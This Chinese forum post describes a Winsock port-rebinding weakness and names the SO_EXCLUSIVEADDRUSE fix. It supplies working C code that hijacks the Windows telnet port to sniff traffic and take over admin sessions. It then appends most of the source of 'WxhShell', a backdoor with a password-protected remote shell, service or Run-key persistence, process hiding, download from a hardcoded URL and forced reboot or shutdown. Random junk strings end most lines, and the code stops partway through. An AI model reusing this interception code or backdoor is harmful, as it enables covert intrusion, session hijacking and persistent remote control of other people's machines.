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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C:hfI;*7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R 9o:{U]  
F] +t/  
  saddr.sin_family = AF_INET; +#6WORH0S  
Eg3rbqM- 8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); YZ7rs] A  
5u:+hB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r4gkSwy  
doFp53NhV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %Wom]/&,'  
1i_~ZzX8  
  这意味着什么?意味着可以进行如下的攻击: N$/{f2iC  
A%"XNk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2K.. ;A$  
#v:<\-MjN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 90k|W >  
29Kuq;6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x1/Usupi  
4.,e3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L(PJ9wjkD  
1UJ(._0hR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vPi\ v U{  
+LQ2To  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #"O9\X/B  
O!d^v9hM,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zf$OC}|\w  
b]g}h  
  #include %pc0a^iB  
  #include ve1jLjsB  
  #include XEfTAW#7  
  #include    j*I0]!-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J6hWcA6 g  
  int main() 1|;WaO1Q  
  { , ZD!Qb  
  WORD wVersionRequested; YM 7P!8Gc  
  DWORD ret; U @|{RP  
  WSADATA wsaData; 8hQ"rrj+  
  BOOL val; #Q^mdv?  
  SOCKADDR_IN saddr; Cs^o- g!L  
  SOCKADDR_IN scaddr; HNY{%D  
  int err; '$ s:cS`=  
  SOCKET s; (dpBGt@  
  SOCKET sc; (+Gd)iO  
  int caddsize; -njxc{b  
  HANDLE mt; Yl&eeM  
  DWORD tid;   3Nr8H.u&q  
  wVersionRequested = MAKEWORD( 2, 2 ); 3dcZ1Yrn  
  err = WSAStartup( wVersionRequested, &wsaData ); 5`^"<wNI  
  if ( err != 0 ) { 8ji!FZf  
  printf("error!WSAStartup failed!\n"); ,G"?fQ7zR  
  return -1; m]Z+u e  
  } >7vSN<w~m  
  saddr.sin_family = AF_INET; -hQ=0h~\B.  
   $ ohwBv3S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^dZ,Itho  
5irewh'R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >Eik>dQ a  
  saddr.sin_port = htons(23); HjGT{o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /p<mD-:.M  
  { ^P"t "  
  printf("error!socket failed!\n"); a+A/l  
  return -1; 2}[rc%tV:?  
  } $]|_xG-6{  
  val = TRUE; q1r\ 60M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [mw#a9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /%=#*/E7  
  { Bpo~x2p  
  printf("error!setsockopt failed!\n"); j[iJo 5  
  return -1; U,RIr8G  
  } Kl(}s{YFn.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]K XknEaxl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;f?OT7>kN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d^ipf*aLC  
t^8#~o!%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RZOk.~[v  
  { ~>>o'H6  
  ret=GetLastError(); tI.(+-q  
  printf("error!bind failed!\n"); g|)e3q{M  
  return -1; bCd! ap+#  
  } WVy"MD  
  listen(s,2);  P/nXY  
  while(1) Sl:\5]'yJ  
  { 4z#CkT  
  caddsize = sizeof(scaddr); ?B@hCd)  
  //接受连接请求 9tl Fbu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QHP^1W`  
  if(sc!=INVALID_SOCKET) gJs~kQU  
  { i;6\tK"!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oWs&W  
  if(mt==NULL) 9nM {x?  
  { _32ltnBX  
  printf("Thread Creat Failed!\n"); !Z%QD\knY  
  break; A.35WGu&:  
  } CtjjN=59  
  } o S_'@u.5  
  CloseHandle(mt); uKpl+>  
  } ]Y;$~qQ  
  closesocket(s); -6+HA9zz@C  
  WSACleanup(); pNVao{::5  
  return 0; G<Lm}  
  }   xs.[]>nQN  
  DWORD WINAPI ClientThread(LPVOID lpParam) Bw{@YDO{  
  { iW* 0V3  
  SOCKET ss = (SOCKET)lpParam; FuEHO6nx  
  SOCKET sc; 9 *]Z  
  unsigned char buf[4096]; YH<@->Ip  
  SOCKADDR_IN saddr; IEC:zmkn  
  long num; eHqf3f   
  DWORD val; yQou8P=%  
  DWORD ret; cv#H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JN|<R%hy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o<V-gS  
  saddr.sin_family = AF_INET; g](m& O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '\_ic=&u  
  saddr.sin_port = htons(23); #GWQ]r?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [POy" O  
  { KxJJ?WyM  
  printf("error!socket failed!\n"); $?*+P``  
  return -1; Sn0?_vH4  
  } p,kJ#I  
  val = 100; Xk7zXah  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zoUW}O  
  { )h+JX8K)l  
  ret = GetLastError(); "T~Ps$  
  return -1; r9b`3yr=  
  } K''b)v X4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SG43}  
  { )>TA|W]@  
  ret = GetLastError(); zQ)[re)  
  return -1; {K[+nX =#  
  } 8d Ftp3(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *qz]vUb/0  
  { Ln`c DZSM  
  printf("error!socket connect failed!\n"); ^.-P]I]  
  closesocket(sc); rWbL_1Eq  
  closesocket(ss); .3ic%u;|D  
  return -1; AiO,zjM=  
  } i"_f46r P  
  while(1) b~#rUOXb8?  
  { hR= 4w$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4SG[_:+!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 72v 9S T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !knYD}Rxd  
  num = recv(ss,buf,4096,0); (TnYUyFP`  
  if(num>0) v- {kPc=:#  
  send(sc,buf,num,0); `P# h?tZ  
  else if(num==0) ]0`[L<_r  
  break;  t%FS 5  
  num = recv(sc,buf,4096,0); '}!dRpx  
  if(num>0) vW]BOzK  
  send(ss,buf,num,0); ipU"|{NK  
  else if(num==0) D_, 2z  
  break; #m8Oy|Y9`  
  } .(`u'G=  
  closesocket(ss); +A:}5{  
  closesocket(sc); ZnmBb_eX  
  return 0 ; K0+J!- a]7  
  } 8eLNKgc  
):.]4n{L  
D ORFK  
========================================================== g$]9xn#_[  
VF[]E0=u6  
下边附上一个代码,,WXhSHELL !PQ@"L)p  
nY~CAo/:  
========================================================== A#8/:t1AW  
;)cl Cm46  
#include "stdafx.h" z6Mf>q  
A Ys<IMQ  
#include <stdio.h> h|jsi*4NnL  
#include <string.h> ){wE)NN  
#include <windows.h> /8GVu7  
#include <winsock2.h> $cK9E:v  
#include <winsvc.h>  gZvl D  
#include <urlmon.h> S B'.   
^KlMBKWyB  
#pragma comment (lib, "Ws2_32.lib") j~L{=ojz%  
#pragma comment (lib, "urlmon.lib") nE/T)[1|  
H"n"Q:Yp  
#define MAX_USER   100 // 最大客户端连接数 E%40u.0  
#define BUF_SOCK   200 // sock buffer /5wvXk|@  
#define KEY_BUFF   255 // 输入 buffer 1;H(   
hd^?svID  
#define REBOOT     0   // 重启 xkqt(ng(  
#define SHUTDOWN   1   // 关机 *[ A%tj%  
[!DLT6Qk  
#define DEF_PORT   5000 // 监听端口 F%< 0pi  
?(R6}ab>K7  
#define REG_LEN     16   // 注册表键长度 ) tsaDG-E  
#define SVC_LEN     80   // NT服务名长度 e`C'5`d]  
UUA7m$F1  
// 从dll定义API m >'o&Hj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AQ-PY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IcaF 4#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  ,?`$ ~8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GMiWS:`;v`  
_#-(XQa  
// wxhshell配置信息 G>H&M#7K  
struct WSCFG { .@xwl}o$OL  
  int ws_port;         // 监听端口 B)Gm"bLCOZ  
  char ws_passstr[REG_LEN]; // 口令 XmXHs4  
  int ws_autoins;       // 安装标记, 1=yes 0=no [81k4kU  
  char ws_regname[REG_LEN]; // 注册表键名 9]d$G$Kv9  
  char ws_svcname[REG_LEN]; // 服务名 -i 6<kF-W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WE=`8`Li  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZpWG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +]I7)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y&+<'FA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '2# O{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R%b,RH#  
i12iB+q  
}; #t{?WkO[  
Q=>@:1=  
// default Wxhshell configuration s%p(_pB  
struct WSCFG wscfg={DEF_PORT, JQ0KXS Nr  
    "xuhuanlingzhe", YK_a37E{F  
    1, LQR9S/?Ld  
    "Wxhshell", p+yU!Qj  
    "Wxhshell", dGHRHXi  
            "WxhShell Service", Ag}>gbz~G  
    "Wrsky Windows CmdShell Service", 8)M . W  
    "Please Input Your Password: ", ^i@tOtS  
  1, T!J\Dm-  
  "http://www.wrsky.com/wxhshell.exe", 18|H  
  "Wxhshell.exe" r@iGM Jx$  
    }; .dl1sv U  
x?f3XEA_  
// 消息定义模块 R$cg\DD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {n |Ra[9_  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ;m7$U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dG6Mo76  
char *msg_ws_ext="\n\rExit."; Mi:$<fEX  
char *msg_ws_end="\n\rQuit."; ssoe$Gr7>  
char *msg_ws_boot="\n\rReboot..."; Ro? 4tGn  
char *msg_ws_poff="\n\rShutdown..."; Tb~(?nY5  
char *msg_ws_down="\n\rSave to "; >\KBXS}  
syV &Ds)  
char *msg_ws_err="\n\rErr!"; |} .Y&1@U  
char *msg_ws_ok="\n\rOK!"; C>t1~^Q},9  
nh,N (t 9  
char ExeFile[MAX_PATH]; 2<|+h= &  
int nUser = 0; y%3Yr?]  
HANDLE handles[MAX_USER]; [@.%6aD  
int OsIsNt; Qt!l-/flh  
v{&cgod  
SERVICE_STATUS       serviceStatus; a o\+%s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?JtFiw  
H|Q)Tp Lk  
// 函数声明 Z]"ktb;+[  
int Install(void); !`Bb[BTf  
int Uninstall(void); t'FY*|xk  
int DownloadFile(char *sURL, SOCKET wsh); ;M\H#%G.  
int Boot(int flag); (hdP(U77  
void HideProc(void); ezy0m}@   
int GetOsVer(void); 0xZq?9a  
int Wxhshell(SOCKET wsl); m {wMzsQ  
void TalkWithClient(void *cs); wnha c}  
int CmdShell(SOCKET sock); k`kmmb>  
int StartFromService(void); d-39G*;1  
int StartWxhshell(LPSTR lpCmdLine); O_(/uLH  
`<C)oF\~f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9LzQp`In  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n%W~+  
}.MJVB3  
// 数据结构和表定义 4k<4=E  
SERVICE_TABLE_ENTRY DispatchTable[] = 5\RKT)%X  
{ gmy_ZVU'  
{wscfg.ws_svcname, NTServiceMain}, 9`QWqu[  
{NULL, NULL} RcMW%q$dG  
}; pH'#v]"  
Y }Rx`%X  
// 自我安装 F;5.nKo  
int Install(void) jsfyNl? 6  
{ |oC&;A  
  char svExeFile[MAX_PATH]; lLyMm8E%pZ  
  HKEY key; )r5QOa/  
  strcpy(svExeFile,ExeFile); rh?!f(_@  
>mi%L3Pk  
// 如果是win9x系统,修改注册表设为自启动 oq(um:m  
if(!OsIsNt) { fQ 'P2$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vw>O;u.]B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,]42v?  
  RegCloseKey(key); D />REC^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <eI7xifD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2< w/GX.  
  RegCloseKey(key); <s)+V6 \E  
  return 0; TOeJnk  
    } 7V%}U5  
  } ?)'j;1_=E3  
} N9Y,%lQ|B8  
else { B/c_pRl;  
wVP{R3  
// 如果是NT以上系统,安装为系统服务 M g1E1kXe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z,! w.TYo  
if (schSCManager!=0) yf2U-s  
{ Jou~>0,/j  
  SC_HANDLE schService = CreateService ,a~- (@  
  ( 4%aODr8  
  schSCManager, v%VCFJ  
  wscfg.ws_svcname, oJvF)d@gU  
  wscfg.ws_svcdisp, kG:uXbUI'  
  SERVICE_ALL_ACCESS, r8pTtf#Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {UT^p IP\  
  SERVICE_AUTO_START, ]}<wS ]1  
  SERVICE_ERROR_NORMAL, 3^xTZ*G  
  svExeFile, ICTl{|i ]  
  NULL, IwiR2K  
  NULL, APsd^J  
  NULL, .fk!~8b[Q+  
  NULL, &D\~-fOGb  
  NULL {()8 W r  
  ); .-k\Q} D  
  if (schService!=0) P`v%< 9~  
  { >t.2!Z_RQ  
  CloseServiceHandle(schService); \Se>u4~L  
  CloseServiceHandle(schSCManager); l Ztq_* Fl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X8~ cWW  
  strcat(svExeFile,wscfg.ws_svcname); Z f4Xt Yn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N5Eb.a9S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~3dBt@%0  
  RegCloseKey(key); x\)0+c~\}x  
  return 0; EX7gTf#  
    } Q7gBxp  
  } 8sOM%y9M  
  CloseServiceHandle(schSCManager); qY]IX9'kV  
} {n2mh%I  
} P ^R224R  
U< |kA(5  
return 1;  ]O3[Te  
} i:0~%X  
U{ gJn#e/.  
// 自我卸载 <v&>&;>3  
int Uninstall(void) n a])bBn  
{ D:sQHJ. y  
  HKEY key; US 9cuah1/  
~Aq;g$IJZ  
if(!OsIsNt) { ZY-W~p1:G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^|5bK_Z&  
  RegDeleteValue(key,wscfg.ws_regname); 'oBT*aL  
  RegCloseKey(key); M]oO1GM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :PuJF`k  
  RegDeleteValue(key,wscfg.ws_regname); BX;Z t9"*  
  RegCloseKey(key); V)V\M6  
  return 0; =ltT6of@o  
  } \b?z\bC56  
} 8q{ %n   
} OWT5Bjl  
else { @{\q1J>  
hJ 4]GA'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pi[:"}m]/P  
if (schSCManager!=0) N'w ;1,c+  
{ BFc=GiPnQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )"s <hR ,  
  if (schService!=0) |f;u5r!^=  
  { 48nZ H=(Eh  
  if(DeleteService(schService)!=0) { N1`/~Gi  
  CloseServiceHandle(schService); 6|+I~zJ88  
  CloseServiceHandle(schSCManager); 6 6WAD$8$  
  return 0; `O ?61YUQH  
  } Vi[* a  
  CloseServiceHandle(schService); vzA)pB~;  
  } CKeT%3  
  CloseServiceHandle(schSCManager); 4Z5ZV!  
} UM%]A'h2O"  
} >xb}AY;  
*U|K~dl]K  
return 1; Elw fqfO  
} BWV)> -V  
C qOvVv  
// 从指定url下载文件 6Ty;m>j  
int DownloadFile(char *sURL, SOCKET wsh) ~'k.'O{  
{ _0p8FhNt  
  HRESULT hr; ,\ [R\s  
char seps[]= "/"; YMx]i,u'+  
char *token; f-&4x_5  
char *file; Q]wM WV  
char myURL[MAX_PATH]; &6V[@gmD  
char myFILE[MAX_PATH]; <XG&f  
PLlad\  
strcpy(myURL,sURL); |Am +f.  
  token=strtok(myURL,seps); 3.>M=K~09  
  while(token!=NULL) ?o307 r  
  { _{0'3tI7  
    file=token; 5jAiqJq~y:  
  token=strtok(NULL,seps); [S;ceORx  
  } w ;+x g  
1'ts>6b  
GetCurrentDirectory(MAX_PATH,myFILE); FY1 >{Bn  
strcat(myFILE, "\\"); 9cQZ`Ex  
strcat(myFILE, file); 5'=\$Ob  
  send(wsh,myFILE,strlen(myFILE),0); [vCZoG8+>  
send(wsh,"...",3,0); k'Is]=3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vJTdZ p  
  if(hr==S_OK) ^ z!g3  
return 0; D>neY9  
else c&4EO|  
return 1; C],"va  
=Ji+GJ <,9  
} ! f!/~M"!  
L[;U Z)V@  
// 系统电源模块 WrJgU&H{  
int Boot(int flag) =UY)U-  
{ cCOw7<  
  HANDLE hToken; 5DB4vh  
  TOKEN_PRIVILEGES tkp; .=@xTJh  
|hHj7X <?k  
  if(OsIsNt) { ;$=kfj9 :7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ik W 8$>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I|&<!{Rq  
    tkp.PrivilegeCount = 1; = cQK^$6(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uW4 )DT9[5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,i0Dw"/u  
if(flag==REBOOT) { PX!$w*q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gt]k#(S  
  return 0; DXFU~J*  
} ]=Im0s  
else { SLI(;, s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /Mq9~oC  
  return 0; .T;:6/??1  
} $#2zxpr,  
  } o_=t9\:  
  else { /qf(5Bm  
if(flag==REBOOT) { |AD" }8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vlW521  
  return 0; ITpo:"X g  
} )T2V< 3l  
else { w4I&SLm-b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bxU2.YC  
  return 0; f7&53yZF  
} XR2Gw 4]  
} p~LTu<*S  
l 1C'<+2j!  
return 1; 4G ? Cu,$  
} jTSN`R9@  
(tG8HwV-  
// win9x进程隐藏模块 ~bC-0^/ 8|  
void HideProc(void) wAt|'wP :  
{ K;uO<{a)r  
@q(sig00nr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (*6kYkUK  
  if ( hKernel != NULL ) v*Dz4K#  
  { r>o#h+'AV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }o9fpo|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,#/%Fn%T  
    FreeLibrary(hKernel); ERka l7+  
  } >oD,wSYV~  
10gh4,z[  
return; '.{tE*  
} dUvgFOy|P  
G+5_I"`W  
// 获取操作系统版本 As}3VBd  
int GetOsVer(void) ?ZF ~U  
{ Chso]N.1  
  OSVERSIONINFO winfo; `eo$o!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r$Gz  
  GetVersionEx(&winfo); ,_wpYTl*X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H^TU?vz} <  
  return 1; %2q0lFdcM  
  else 5u5-:#sLy  
  return 0; '}$]V>/  
} r(qw zUI  
}F B]LLi  
// 客户端句柄模块 iNO}</7?  
int Wxhshell(SOCKET wsl) v~B "Il  
{ )I{~Pcq  
  SOCKET wsh; R(t1Ei.-?  
  struct sockaddr_in client; Z=KHsMnB  
  DWORD myID; \86:f<)P  
2h;#BJ))  
  while(nUser<MAX_USER) a62'\wF>D  
{ #TUuk  
  int nSize=sizeof(client); kq$0~lNI$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )/:j$aq  
  if(wsh==INVALID_SOCKET) return 1; @r130eLh  
> r %:!o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |XrGf2P9u  
if(handles[nUser]==0) ow<z @^ 3'  
  closesocket(wsh); q2{Aq[  
else h 2QJQ|7a  
  nUser++; N9S?c  
  } >2^|r8l5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <V b SEi  
oR@emYL  
  return 0; l_lK,=cLj+  
} px=k&|l  
"AuU5G 9'I  
// 关闭 socket ~@ H9h<T  
void CloseIt(SOCKET wsh) Y2!P!u+Q  
{ &=.SbS  
closesocket(wsh); xRrKrs&eE  
nUser--; #qcF2&a%  
ExitThread(0); I9ZJ"29  
} LLV1W0VO=P  
yhsbso,5 a  
// 客户端请求句柄 <)]j;Tl  
void TalkWithClient(void *cs) o4qB0h  
{ .-mlV ^  
9Od|R"aS|  
  SOCKET wsh=(SOCKET)cs; qmF+@R&^i  
  char pwd[SVC_LEN]; .L=C7w1  
  char cmd[KEY_BUFF]; =7vbcAJ\  
char chr[1]; p!o+8Xz5  
int i,j; !h.bD/? K  
CBu$8]9=  
  while (nUser < MAX_USER) { @-%.+  
e_ h`x+\:  
if(wscfg.ws_passstr) { E]&tgZO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p5V.O20  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [+3~wpU(p  
  //ZeroMemory(pwd,KEY_BUFF); krSOSW J  
      i=0; dXMO{*MF{H  
  while(i<SVC_LEN) { "8R\!i.  
knABlU  
  // 设置超时 s$?u'}G3  
  fd_set FdRead; )J(@e4;Rv  
  struct timeval TimeOut; $.Qu55=z<  
  FD_ZERO(&FdRead); ~E3"s  
  FD_SET(wsh,&FdRead); A4IPd  
  TimeOut.tv_sec=8; WW3! ,ln_  
  TimeOut.tv_usec=0; o%3VE8-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j\%m6\{n|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0 >:RFCo  
#+SdX[ N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5X}OUn8  
  pwd=chr[0]; & m~   
  if(chr[0]==0xd || chr[0]==0xa) { d$<1Ma}  
  pwd=0; 15Vo_ wD<y  
  break; 'Im&&uSkr  
  } Epm%/ {sHV  
  i++; @D2KDV3'  
    } )#0Llx!  
wpepi8w,  
  // 如果是非法用户,关闭 socket $E35 W=~)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <xaB$}R  
} &^JYIRn1\  
ibxtrt=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yiAusl;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zoyo:vv&  
jx-8%dxtZ  
while(1) { N,?D<NjXl  
dY$jg  
  ZeroMemory(cmd,KEY_BUFF); *rmwTD"  
U\`yLsKvH`  
      // 自动支持客户端 telnet标准   q,fk@GI'2  
  j=0; =G-u "QJ6  
  while(j<KEY_BUFF) { nTH!_S>b(Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); idGhWV'  
  cmd[j]=chr[0]; -) \!@n0  
  if(chr[0]==0xa || chr[0]==0xd) {  |7wiwdD"  
  cmd[j]=0; ^#,cWG}z  
  break; r57rH^Hc  
  } _^Lg}@t  
  j++; ]M.)N.T  
    } ((E5w:=?  
}ej-Lu,b3  
  // 下载文件 *+>R^\uT  
  if(strstr(cmd,"http://")) { nyr)d%I{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1`I#4f  
  if(DownloadFile(cmd,wsh)) Oo`b#!L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ealh>Y  
  else [0-zJy|,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jm {~H%  
  } K$Yc!4M  
  else { *EzAo  
liG3   
    switch(cmd[0]) { '<KzWxuC  
  K)n0?Q_>  
  // 帮助 pgU4>tyD  
  case '?': { 9KLhAYaq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }dSxrT  
    break; bcy( ?(  
  } C@q&0\HN  
  // 安装 Gj(UA1~1  
  case 'i': { n:5*Tg9  
    if(Install()) zV=(e( [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ea2&7  
    else dL!K''24{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p!w}hB598  
    break; n\D3EP<s  
    } D:Y `{{  
  // 卸载 l5d> YTK+5  
  case 'r': { kzcD}?mSS  
    if(Uninstall()) M"$TXXe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;r XhK$  
    else %D:5 S?{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4uUR2J  
    break; hhvP*a_J  
    } m K@a7fF?  
  // 显示 wxhshell 所在路径 ,9;d"ce  
  case 'p': { -?AaRwZ,  
    char svExeFile[MAX_PATH]; *cn#W]AE  
    strcpy(svExeFile,"\n\r"); v^_<K4N`  
      strcat(svExeFile,ExeFile); 5cE!'3Y  
        send(wsh,svExeFile,strlen(svExeFile),0); )iG+pP@.@  
    break; K\GIh8L  
    } ^. i;,  
  // 重启 M B,P#7|  
  case 'b': { f3]u-e'b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PX1Scvi  
    if(Boot(REBOOT)) dLek4q `l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6uH1dsD  
    else { 7J%v""\1!  
    closesocket(wsh);  8E!I9z  
    ExitThread(0); TAt9+\'  
    } 8Bnw//_pT  
    break; ^D0BGC&&  
    } "@[xo7T  
